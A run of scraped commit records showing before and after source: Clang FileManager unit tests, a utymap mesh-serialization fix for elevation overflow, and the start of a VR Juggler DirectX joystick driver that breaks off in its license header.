ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n Manager.setStatCache(std::move(statCache));\n\n \/\/ Check for real path.\n const FileEntry *file = Manager.getVirtualFile(\"\/tmp\/test\", 123, 1);\n ASSERT_TRUE(file != nullptr);\n ASSERT_TRUE(file->isValid());\n SmallString<64> ExpectedResult = CustomWorkingDir;\n\n llvm::sys::path::append(ExpectedResult, \"tmp\", \"test\");\n EXPECT_EQ(file->tryGetRealPathName(), ExpectedResult);\n}\n\nTEST_F(FileManagerTest, getFileDontOpenRealPath) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\/\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n Manager.setStatCache(std::move(statCache));\n\n \/\/ Check for real path.\n auto file = Manager.getFile(\"\/tmp\/test\", \/*OpenFile=*\/false);\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n SmallString<64> ExpectedResult = CustomWorkingDir;\n\n llvm::sys::path::append(ExpectedResult, \"tmp\", \"test\");\n EXPECT_EQ((*file)->tryGetRealPathName(), ExpectedResult);\n}\n\n} \/\/ anonymous namespace\n<commit_msg>Fix Windows branch of FileManagerTest changes<commit_after>\/\/===- unittests\/Basic\/FileMangerTest.cpp ------------ FileManger tests ---===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/FileSystemOptions.h\"\n#include \"clang\/Basic\/FileSystemStatCache.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/VirtualFileSystem.h\"\n#include \"gtest\/gtest.h\"\n\nusing namespace llvm;\nusing namespace clang;\n\nnamespace {\n\n\/\/ Used to create a fake file system for running the tests with such\n\/\/ that the tests are not affected by the structure\/contents of the\n\/\/ file system on the machine running the tests.\nclass FakeStatCache : public FileSystemStatCache {\nprivate:\n \/\/ Maps a file\/directory path to its desired stat result. Anything\n \/\/ not in this map is considered to not exist in the file system.\n llvm::StringMap<llvm::vfs::Status, llvm::BumpPtrAllocator> StatCalls;\n\n void InjectFileOrDirectory(const char *Path, ino_t INode, bool IsFile) {\n#ifndef _WIN32\n SmallString<128> NormalizedPath(Path);\n llvm::sys::path::native(NormalizedPath);\n Path = NormalizedPath.c_str();\n#endif\n\n auto fileType = IsFile ?\n llvm::sys::fs::file_type::regular_file :\n llvm::sys::fs::file_type::directory_file;\n llvm::vfs::Status Status(Path, llvm::sys::fs::UniqueID(1, INode),\n \/*MTime*\/{}, \/*User*\/0, \/*Group*\/0,\n \/*Size*\/0, fileType,\n llvm::sys::fs::perms::all_all);\n StatCalls[Path] = Status;\n }\n\npublic:\n \/\/ Inject a file with the given inode value to the fake file system.\n void InjectFile(const char *Path, ino_t INode) {\n InjectFileOrDirectory(Path, INode, \/*IsFile=*\/true);\n }\n\n \/\/ Inject a directory with the given inode value to the fake file system.\n void InjectDirectory(const char *Path, ino_t INode) {\n InjectFileOrDirectory(Path, INode, \/*IsFile=*\/false);\n }\n\n \/\/ Implement FileSystemStatCache::getStat().\n std::error_code getStat(StringRef Path, llvm::vfs::Status &Status,\n bool isFile,\n std::unique_ptr<llvm::vfs::File> *F,\n llvm::vfs::FileSystem &FS) override {\n#ifndef _WIN32\n SmallString<128> NormalizedPath(Path);\n llvm::sys::path::native(NormalizedPath);\n Path = NormalizedPath.c_str();\n#endif\n\n if (StatCalls.count(Path) != 0) {\n Status = StatCalls[Path];\n return std::error_code();\n }\n\n return std::make_error_code(std::errc::no_such_file_or_directory);\n }\n};\n\n\/\/ The test fixture.\nclass FileManagerTest : public ::testing::Test {\n protected:\n FileManagerTest() : manager(options) {\n }\n\n FileSystemOptions options;\n FileManager manager;\n};\n\n\/\/ When a virtual file is added, its getDir() field is set correctly\n\/\/ (not NULL, correct name).\nTEST_F(FileManagerTest, getVirtualFileSetsTheDirFieldCorrectly) {\n const FileEntry *file = manager.getVirtualFile(\"foo.cpp\", 42, 0);\n ASSERT_TRUE(file != nullptr);\n\n const DirectoryEntry *dir = file->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\".\", dir->getName());\n\n file = manager.getVirtualFile(\"x\/y\/z.cpp\", 42, 0);\n ASSERT_TRUE(file != nullptr);\n\n dir = file->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"x\/y\", dir->getName());\n}\n\n\/\/ Before any virtual file is added, no virtual directory exists.\nTEST_F(FileManagerTest, NoVirtualDirectoryExistsBeforeAVirtualFileIsAdded) {\n \/\/ An empty FakeStatCache causes all stat calls made by the\n \/\/ FileManager to report \"file\/directory doesn't exist\". This\n \/\/ avoids the possibility of the result of this test being affected\n \/\/ by what's in the real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\/foo\"));\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\"));\n ASSERT_FALSE(manager.getDirectory(\"virtual\"));\n}\n\n\/\/ When a virtual file is added, all of its ancestors should be created.\nTEST_F(FileManagerTest, getVirtualFileCreatesDirectoryEntriesForAncestors) {\n \/\/ Fake an empty real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n manager.getVirtualFile(\"virtual\/dir\/bar.h\", 100, 0);\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\/foo\"));\n\n auto dir = manager.getDirectory(\"virtual\/dir\");\n ASSERT_TRUE(dir);\n EXPECT_EQ(\"virtual\/dir\", (*dir)->getName());\n\n dir = manager.getDirectory(\"virtual\");\n ASSERT_TRUE(dir);\n EXPECT_EQ(\"virtual\", (*dir)->getName());\n}\n\n\/\/ getFile() returns non-NULL if a real file exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsValidFileEntryForExistingRealFile) {\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n#ifdef _WIN32\n const char *DirName = \"C:.\";\n const char *FileName = \"C:test\";\n statCache->InjectDirectory(DirName, 44);\n statCache->InjectFile(FileName, 45);\n#endif\n\n manager.setStatCache(std::move(statCache));\n\n auto file = manager.getFile(\"\/tmp\/test\");\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n EXPECT_EQ(\"\/tmp\/test\", (*file)->getName());\n\n const DirectoryEntry *dir = (*file)->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"\/tmp\", dir->getName());\n\n#ifdef _WIN32\n file = manager.getFile(FileName);\n ASSERT_TRUE(file);\n\n dir = (*file)->getDir();\n ASSERT_TRUE(dir != NULL);\n EXPECT_EQ(DirName, dir->getName());\n#endif\n}\n\n\/\/ getFile() returns non-NULL if a virtual file exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsValidFileEntryForExistingVirtualFile) {\n \/\/ Fake an empty real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n manager.getVirtualFile(\"virtual\/dir\/bar.h\", 100, 0);\n auto file = manager.getFile(\"virtual\/dir\/bar.h\");\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n EXPECT_EQ(\"virtual\/dir\/bar.h\", (*file)->getName());\n\n const DirectoryEntry *dir = (*file)->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"virtual\/dir\", dir->getName());\n}\n\n\/\/ getFile() returns different FileEntries for different paths when\n\/\/ there's no aliasing.\nTEST_F(FileManagerTest, getFileReturnsDifferentFileEntriesForDifferentFiles) {\n \/\/ Inject two fake files into the file system. Different inodes\n \/\/ mean the files are not symlinked together.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\".\", 41);\n statCache->InjectFile(\"foo.cpp\", 42);\n statCache->InjectFile(\"bar.cpp\", 43);\n manager.setStatCache(std::move(statCache));\n\n auto fileFoo = manager.getFile(\"foo.cpp\");\n auto fileBar = manager.getFile(\"bar.cpp\");\n ASSERT_TRUE(fileFoo);\n ASSERT_TRUE((*fileFoo)->isValid());\n ASSERT_TRUE(fileBar);\n ASSERT_TRUE((*fileBar)->isValid());\n EXPECT_NE(*fileFoo, *fileBar);\n}\n\n\/\/ getFile() returns an error if neither a real file nor a virtual file\n\/\/ exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsErrorForNonexistentFile) {\n \/\/ Inject a fake foo.cpp into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\".\", 41);\n statCache->InjectFile(\"foo.cpp\", 42);\n statCache->InjectDirectory(\"MyDirectory\", 49);\n manager.setStatCache(std::move(statCache));\n\n \/\/ Create a virtual bar.cpp file.\n manager.getVirtualFile(\"bar.cpp\", 200, 0);\n\n auto file = manager.getFile(\"xyz.txt\");\n ASSERT_FALSE(file);\n ASSERT_EQ(file.getError(), std::errc::no_such_file_or_directory);\n\n auto readingDirAsFile = manager.getFile(\"MyDirectory\");\n ASSERT_FALSE(readingDirAsFile);\n ASSERT_EQ(readingDirAsFile.getError(), std::errc::is_a_directory);\n\n auto readingFileAsDir = manager.getDirectory(\"foo.cpp\");\n ASSERT_FALSE(readingFileAsDir);\n ASSERT_EQ(readingFileAsDir.getError(), std::errc::not_a_directory);\n}\n\n\/\/ The following tests apply to Unix-like system only.\n\n#ifndef _WIN32\n\n\/\/ getFile() returns the same FileEntry for real files that are aliases.\nTEST_F(FileManagerTest, getFileReturnsSameFileEntryForAliasedRealFiles) {\n \/\/ Inject two real files with the same inode.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"abc\", 41);\n statCache->InjectFile(\"abc\/foo.cpp\", 42);\n statCache->InjectFile(\"abc\/bar.cpp\", 42);\n manager.setStatCache(std::move(statCache));\n\n auto f1 = manager.getFile(\"abc\/foo.cpp\");\n auto f2 = manager.getFile(\"abc\/bar.cpp\");\n\n EXPECT_EQ(f1 ? *f1 : nullptr,\n f2 ? *f2 : nullptr);\n}\n\n\/\/ getFile() returns the same FileEntry for virtual files that have\n\/\/ corresponding real files that are aliases.\nTEST_F(FileManagerTest, getFileReturnsSameFileEntryForAliasedVirtualFiles) {\n \/\/ Inject two real files with the same inode.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"abc\", 41);\n statCache->InjectFile(\"abc\/foo.cpp\", 42);\n statCache->InjectFile(\"abc\/bar.cpp\", 42);\n manager.setStatCache(std::move(statCache));\n\n ASSERT_TRUE(manager.getVirtualFile(\"abc\/foo.cpp\", 100, 0)->isValid());\n ASSERT_TRUE(manager.getVirtualFile(\"abc\/bar.cpp\", 200, 0)->isValid());\n\n auto f1 = manager.getFile(\"abc\/foo.cpp\");\n auto f2 = manager.getFile(\"abc\/bar.cpp\");\n\n EXPECT_EQ(f1 ? *f1 : nullptr,\n f2 ? *f2 : nullptr);\n}\n\n\/\/ getFile() Should return the same entry as getVirtualFile if the file actually\n\/\/ is a virtual file, even if the name is not exactly the same (but is after\n\/\/ normalisation done by the file system, like on Windows). This can be checked\n\/\/ here by checking the size.\nTEST_F(FileManagerTest, getVirtualFileWithDifferentName) {\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"c:\\\\tmp\", 42);\n statCache->InjectFile(\"c:\\\\tmp\\\\test\", 43);\n\n manager.setStatCache(std::move(statCache));\n\n \/\/ Inject the virtual file:\n const FileEntry *file1 = manager.getVirtualFile(\"c:\\\\tmp\\\\test\", 123, 1);\n ASSERT_TRUE(file1 != nullptr);\n ASSERT_TRUE(file1->isValid());\n EXPECT_EQ(43U, file1->getUniqueID().getFile());\n EXPECT_EQ(123, file1->getSize());\n\n \/\/ Lookup the virtual file with a different name:\n auto file2 = manager.getFile(\"c:\/tmp\/test\", 100, 1);\n ASSERT_TRUE(file2);\n ASSERT_TRUE((*file2)->isValid());\n \/\/ Check that it's the same UFE:\n EXPECT_EQ(file1, *file2);\n EXPECT_EQ(43U, (*file2)->getUniqueID().getFile());\n \/\/ Check that the contents of the UFE are not overwritten by the entry in the\n \/\/ filesystem:\n EXPECT_EQ(123, (*file2)->getSize());\n}\n\n#endif \/\/ !_WIN32\n\nTEST_F(FileManagerTest, makeAbsoluteUsesVFS) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n llvm::sys::path::append(CustomWorkingDir, \"some\", \"weird\", \"path\");\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n SmallString<64> Path(\"a\/foo.cpp\");\n\n SmallString<64> ExpectedResult(CustomWorkingDir);\n llvm::sys::path::append(ExpectedResult, Path);\n\n ASSERT_TRUE(Manager.makeAbsolutePath(Path));\n EXPECT_EQ(Path, ExpectedResult);\n}\n\n\/\/ getVirtualFile should always fill the real path.\nTEST_F(FileManagerTest, getVirtualFileFillsRealPathName) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\/\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n Manager.setStatCache(std::move(statCache));\n\n \/\/ Check for real path.\n const FileEntry *file = Manager.getVirtualFile(\"\/tmp\/test\", 123, 1);\n ASSERT_TRUE(file != nullptr);\n ASSERT_TRUE(file->isValid());\n SmallString<64> ExpectedResult = CustomWorkingDir;\n\n llvm::sys::path::append(ExpectedResult, \"tmp\", \"test\");\n EXPECT_EQ(file->tryGetRealPathName(), ExpectedResult);\n}\n\nTEST_F(FileManagerTest, getFileDontOpenRealPath) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\/\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n Manager.setStatCache(std::move(statCache));\n\n \/\/ Check for real path.\n auto file = Manager.getFile(\"\/tmp\/test\", \/*OpenFile=*\/false);\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n SmallString<64> ExpectedResult = CustomWorkingDir;\n\n llvm::sys::path::append(ExpectedResult, \"tmp\", \"test\");\n EXPECT_EQ((*file)->tryGetRealPathName(), ExpectedResult);\n}\n\n} \/\/ anonymous namespace\n<|endoftext|>"} {"text":"<commit_before>#include \"index\/MeshStream.hpp\"\n\n#include <cstdint>\n\nusing namespace utymap::index;\nusing namespace utymap::math;\n\nnamespace {\nconst float Precision = 1E7;\n\ntemplate<typename T>\nT read(std::istream &stream) {\n T data;\n stream.read(reinterpret_cast<char *>(&data), sizeof(data));\n return data;\n}\n\n\/\/\/ Restores double stored as signed 4-bytes integer.\ntemplate<>\ndouble read<double>(std::istream &stream) {\n std::int32_t data;\n stream.read(reinterpret_cast<char *>(&data), sizeof(data));\n return data \/ Precision;\n}\n\ntemplate<typename T>\nvoid write(std::ostream &stream, const T &data) {\n stream.write(reinterpret_cast<const char *>(&data), sizeof(data));\n}\n\n\/\/\/ Stores double as signed 4-bytes integer.\n\/\/\/ \ntemplate<>\nvoid write<double>(std::ostream &stream, const double &data) {\n auto simplified = static_cast<std::int32_t>(data * Precision);\n stream.write(reinterpret_cast<const char *>(&simplified), sizeof(simplified));\n}\n\ntemplate<typename T>\nstd::ostream &operator<<(std::ostream &stream, const std::vector<T> &data) {\n auto size = static_cast<std::uint32_t>(data.size());\n stream.write(reinterpret_cast<const char *>(&size), sizeof(size));\n for (const auto &item : data)\n write<T>(stream, item);\n return stream;\n}\n\ntemplate<typename T>\nstd::istream &operator>>(std::istream &stream, std::vector<T> &data) {\n std::uint32_t size = 0;\n stream.read(reinterpret_cast<char *>(&size), sizeof(size));\n data.resize(size);\n for (size_t i = 0; i < size; ++i)\n data[i] = read<T>(stream);\n return stream;\n}\n\nstd::ostream &operator<<(std::ostream &stream, const Mesh &mesh) {\n return stream << mesh.name.c_str() << '\\0' << mesh.vertices << mesh.triangles\n << mesh.colors << mesh.uvs << mesh.uvMap;\n}\n\nstd::istream &operator>>(std::istream &stream, Mesh &mesh) {\n std::getline(stream, mesh.name, '\\0');\n return stream >> mesh.vertices >> mesh.triangles\n >> mesh.colors >> mesh.uvs >> mesh.uvMap;\n}\n}\n\nMesh MeshStream::read(std::istream &stream) {\n Mesh mesh(\"\");\n stream >> mesh;\n return std::move(mesh);\n}\n\nvoid MeshStream::write(std::ostream &stream, const Mesh &mesh) {\n stream << mesh;\n}\n<commit_msg>core: fix elevation overflow problem in mesh caching<commit_after>#include \"index\/MeshStream.hpp\"\n\n#include <cstdint>\n\nusing namespace utymap::index;\nusing namespace utymap::math;\n\nnamespace {\nconst double Precision = 1E7;\n\ntemplate<typename T>\nvoid initData(std::istream &stream, std::vector<T> &data) {\n std::uint32_t size = 0;\n stream.read(reinterpret_cast<char *>(&size), sizeof(size));\n data.resize(size);\n}\n\ntemplate<typename T>\nvoid initData(std::ostream &stream, const std::vector<T> &data) {\n auto size = static_cast<std::uint32_t>(data.size());\n stream.write(reinterpret_cast<const char *>(&size), sizeof(size));\n}\n\ntemplate<typename T>\nT read(std::istream &stream) {\n T data;\n stream.read(reinterpret_cast<char *>(&data), sizeof(data));\n return data;\n}\n\n\/\/\/ Restores double stored as signed 4-bytes integer.\ntemplate<>\ndouble read<double>(std::istream &stream) {\n std::int32_t data;\n stream.read(reinterpret_cast<char *>(&data), sizeof(data));\n return data \/ Precision;\n}\n\ntemplate<typename T>\nvoid write(std::ostream &stream, const T &data) {\n stream.write(reinterpret_cast<const char *>(&data), sizeof(data));\n}\n\n\/\/\/ Stores double as signed 4-bytes integer.\n\/\/\/ \ntemplate<>\nvoid write<double>(std::ostream &stream, const double &data) {\n auto simplified = static_cast<std::int32_t>(data * Precision);\n stream.write(reinterpret_cast<const char *>(&simplified), sizeof(simplified));\n}\n\ntemplate<typename T>\nstd::ostream &operator<<(std::ostream &stream, const std::vector<T> &data) {\n initData(stream, data);\n for (const auto &item : data)\n write<T>(stream, item);\n return stream;\n}\n\ntemplate<typename T>\nstd::istream &operator>>(std::istream &stream, std::vector<T> &data) {\n initData(stream, data);\n for (size_t i = 0; i < data.size(); ++i)\n data[i] = read<T>(stream);\n return stream;\n}\n\nvoid readVertices(std::istream &stream, std::vector<double> &data) {\n initData(stream, data);\n for (size_t i = 0; i < data.size(); ++i)\n \/\/ NOTE store elevation as float, not as packed double\n data[i] = (i + 1) % 3 == 0 ? read<float>(stream) : read<double>(stream);\n}\n\nvoid writeVertices(std::ostream &stream, const std::vector<double> &data) {\n initData(stream, data);\n for (size_t i = 0; i < data.size(); ++i) {\n if ((i + 1) % 3 == 0)\n write<float>(stream, static_cast<float>(data[i]));\n else\n write<double>(stream, data[i]);\n }\n}\n\nstd::ostream &operator<<(std::ostream &stream, const Mesh &mesh) {\n stream << mesh.name.c_str() << '\\0';\n writeVertices(stream, mesh.vertices);\n return stream << mesh.triangles << mesh.colors << mesh.uvs << mesh.uvMap;\n}\n\nstd::istream &operator>>(std::istream &stream, Mesh &mesh) {\n std::getline(stream, mesh.name, '\\0');\n readVertices(stream, mesh.vertices);\n return stream >> mesh.triangles >> mesh.colors >> mesh.uvs >> mesh.uvMap;\n}\n}\n\nMesh MeshStream::read(std::istream &stream) {\n Mesh mesh(\"\");\n stream >> mesh;\n return std::move(mesh);\n}\n\nvoid MeshStream::write(std::ostream &stream, const Mesh &mesh) {\n stream << mesh;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************** <auto-copyright.pl BEGIN do not edit this line> **************\n *\n * VR Juggler is (C) Copyright 1998-2003 by Iowa State University\n *\n * Original Authors:\n * Allen Bierbaum, Christopher Just,\n * Patrick Hartling, Kevin Meinert,\n * Carolina Cruz-Neira, Albert Baker\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\n * -----------------------------------------------------------------\n * File: $RCSfile$\n * Date modified: $Date$\n * Version: $Revision$\n * -----------------------------------------------------------------\n *\n *************** <auto-copyright.pl END do not edit this line> ***************\/\n\n#include <gadget\/Devices\/DriverConfig.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <vpr\/Util\/Debug.h>\n#include <jccl\/Config\/ConfigElement.h>\n#include <gadget\/Type\/DeviceConstructor.h>\n#include <gadget\/Util\/Debug.h>\n#include <drivers\/Microsoft\/DirectXJoystick\/DirectXJoystick.h>\n\n\nextern \"C\"\n{\n\nGADGET_DRIVER_EXPORT(void) initDevice(gadget::InputManager* inputMgr)\n{\n new gadget::DeviceConstructor<gadget::DirectXJoystick>(inputMgr);\n}\n\n}\n\nnamespace gadget\n{\n\n\/** Constructor. *\/\nDirectXJoystick::DirectXJoystick()\n : mActive(false)\n{\n}\n\n\/**\n * Destructor.\n *\n * @pre None.\n * @post Shared memory is released.\n *\/\nDirectXJoystick::~DirectXJoystick()\n{\n}\n\nstd::string DirectXJoystick::getElementType()\n{\n return \"directx_joystick\";\n}\n\n\/**\n * config \n *\/\nbool DirectXJoystick::config(jccl::ConfigElementPtr e)\n{\n if(! (Input::config(e) && Digital::config(e) && Analog::config(e)))\n {\n return false;\n }\n\n mJsLabel = e->getName();\n\n unsigned num_axis_buttons = e->getNum(\"axis_buttons\");\n for ( unsigned i = 0; i < num_axis_buttons; ++i )\n {\n unsigned idx = e->getProperty<int>(\"axis_buttons\", i);\n mAxisButtonIndices.push_back(idx);\n }\n\n \/\/ XXX: This doesn't make any sense. PH 8\/19\/2004\n if( getMin() == 0 && getMax() == 0 || getMin() >= getMax() )\n {\n setMin(-100.0f);\n setMax(100.0f);\n }\n\n return true;\n}\n\nbool DirectXJoystick::startSampling()\n{\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_STATUS_LVL)\n << \"Opening Win Joystick driver \" << std::endl << vprDEBUG_FLUSH;\n\n mActive = (mInputDrv.init() == 0);\n\n if ( ! mActive )\n {\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CRITICAL_LVL)\n << \"ERROR: Failed to open Win Joystick.\" << std::endl\n << vprDEBUG_FLUSH;\n return false;\n }\n\n \/\/ FIXME: hardcoded number of axes and buttons\n int version = 0;\n mNumAxes = 9; \/\/ Analog = 8 from DIJOYSTATE\n mNumButtons = 10; \/\/ Digital = 32 from DIJOYSTATE\n\n \/\/ Output joystick description\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << \" joystick label: \" << mJsLabel << std::endl\n << \" joystick name: \" << mInputDrv.getProductName() << std::endl\n << \" axes: \" << mNumAxes << std::endl\n << \" buttons: \" << mNumButtons << std::endl\n << \" driver ver: \" << version << std::endl\n << \" axis buttons: \";\n\n for(unsigned i=0;i<mAxisButtonIndices.size(); ++i)\n { \n vprDEBUG_CONTnl(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << mAxisButtonIndices[i] << \" \";\n }\n vprDEBUG_CONTnl(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << std::endl << vprDEBUG_FLUSH;\n\n \/\/ Allocate initial device data\n \/\/ - By default this will clear them out\n mCurAxes.resize(mNumAxes);\n mCurAxesRanges.resize(mNumAxes, axis_range_t(-100.0f, 100.0f)); \/\/ Initialize ranges to 0,255\n mCurButtons.resize(mNumButtons + mAxisButtonIndices.size());\n\n \/\/ Setup axis as button stuff\n mAxisToButtonIndexLookup.clear();\n mAxisToButtonIndexLookup.resize(mNumAxes, -1); \/\/ Default to -1, meaning no axis button\n for(unsigned i=0;i<mAxisButtonIndices.size(); ++i) \/\/ For each configured axis index\n {\n unsigned virtual_btn_index = (mNumButtons+i); \/\/ Index of the virtual button from the axis\n vprASSERT(virtual_btn_index < mCurButtons.size() && \"Virtual button index out of range\");\n unsigned axis_index = mAxisButtonIndices[i]; \/\/ Index of the axis we are mapping\n mAxisToButtonIndexLookup[axis_index] = int(virtual_btn_index); \/\/ Setup the mapping\n }\n\n return true;\n}\n\n\/**\n * Stops sampling.\n * Drop connection to joystick and clear everything.\n *\/\nbool DirectXJoystick::stopSampling()\n{\n if ( mActive )\n {\n mInputDrv.close(); \/\/ Close the joystick device\n mActive = false;\n }\n\n return true;\n}\n\n\/**\n * Updates to the sampled data.\n *\n * @pre None.\n * @post Most recent value is copied over to temp area.\n *\/\nvoid DirectXJoystick::updateData()\n{\n mInputDrv.poll();\n DIJOYSTATE mJsData = mInputDrv.getData(); \n\n \/\/FIXME: if & only if there is events happen, do setTime\n \/\/ for buttons, do update \n for ( unsigned int i = 0; i < mCurButtons.size(); ++i )\n {\n mCurButtons[i].setDigital(mJsData.rgbButtons[i]);\n if( mCurButtons[i].getDigital() != 0)\n {\n mCurButtons[i].setTime();\n }\n }\n\n \/\/ for axes, do update\n float norm_value;\n normalizeMinToMax(mJsData.lX, norm_value);\n mCurAxes[0] = norm_value;\n normalizeMinToMax(mJsData.lY, norm_value);\n mCurAxes[1] = norm_value;\n normalizeMinToMax(mJsData.lZ, norm_value);\n mCurAxes[2] = norm_value;\n normalizeMinToMax(mJsData.lRx, norm_value); \/\/ x rotation\n mCurAxes[3] = norm_value;\n normalizeMinToMax(mJsData.lRy, norm_value); \/\/ y rotation\n mCurAxes[4] = norm_value;\n normalizeMinToMax(mJsData.lRz, norm_value); \/\/ z rotation\n mCurAxes[5] = norm_value;\n normalizeMinToMax(mJsData.rglSlider[0], norm_value); \/\/ u-axis\n mCurAxes[6] = norm_value;\n normalizeMinToMax(mJsData.rglSlider[1], norm_value); \/\/ v-axis\n mCurAxes[7] = norm_value;\n mCurAxes[8] = (float(mJsData.rgdwPOV[0])); \/\/hat: -1, 0, 9,000, 18,000, or 27,000.\n\n \/\/ use axes as button, only first 3 are tested.\n for ( int axis_number = 0; axis_number < mNumAxes; ++axis_number )\n {\n \/\/ FIXME: don't know when it is changed\n mCurAxes[axis_number].setTime();\n\n \/\/ Check for axis buttons\n \/\/ - If we have a mapping\n \/\/ - If axis is gt 0.5, then btn is down\n if ( axis_number < 3 )\n {\n float norm_value(0.0f); \/\/ mCurAxes[axis_number].getAnalog();\n if ( mAxisToButtonIndexLookup[axis_number] != -1 ) \/\/ If we map to a virtual button\n {\n unsigned vir_btn_index = mAxisToButtonIndexLookup[axis_number];\n vprASSERT(vir_btn_index < mCurButtons.size() && \"Virtual button index out of range\");\n mCurButtons[vir_btn_index] = ((norm_value > 0.5f) ? 1 : 0);\n mCurButtons[vir_btn_index].setTime();\n }\n }\n }\n\n addDigitalSample(mCurButtons);\n swapDigitalBuffers();\n\n addAnalogSample(mCurAxes);\n swapAnalogBuffers();\n} \/\/ end of Update\n\n} \/\/ End of gadget namespace\n<commit_msg>Silenced a compiler warning.<commit_after>\/*************** <auto-copyright.pl BEGIN do not edit this line> **************\n *\n * VR Juggler is (C) Copyright 1998-2003 by Iowa State University\n *\n * Original Authors:\n * Allen Bierbaum, Christopher 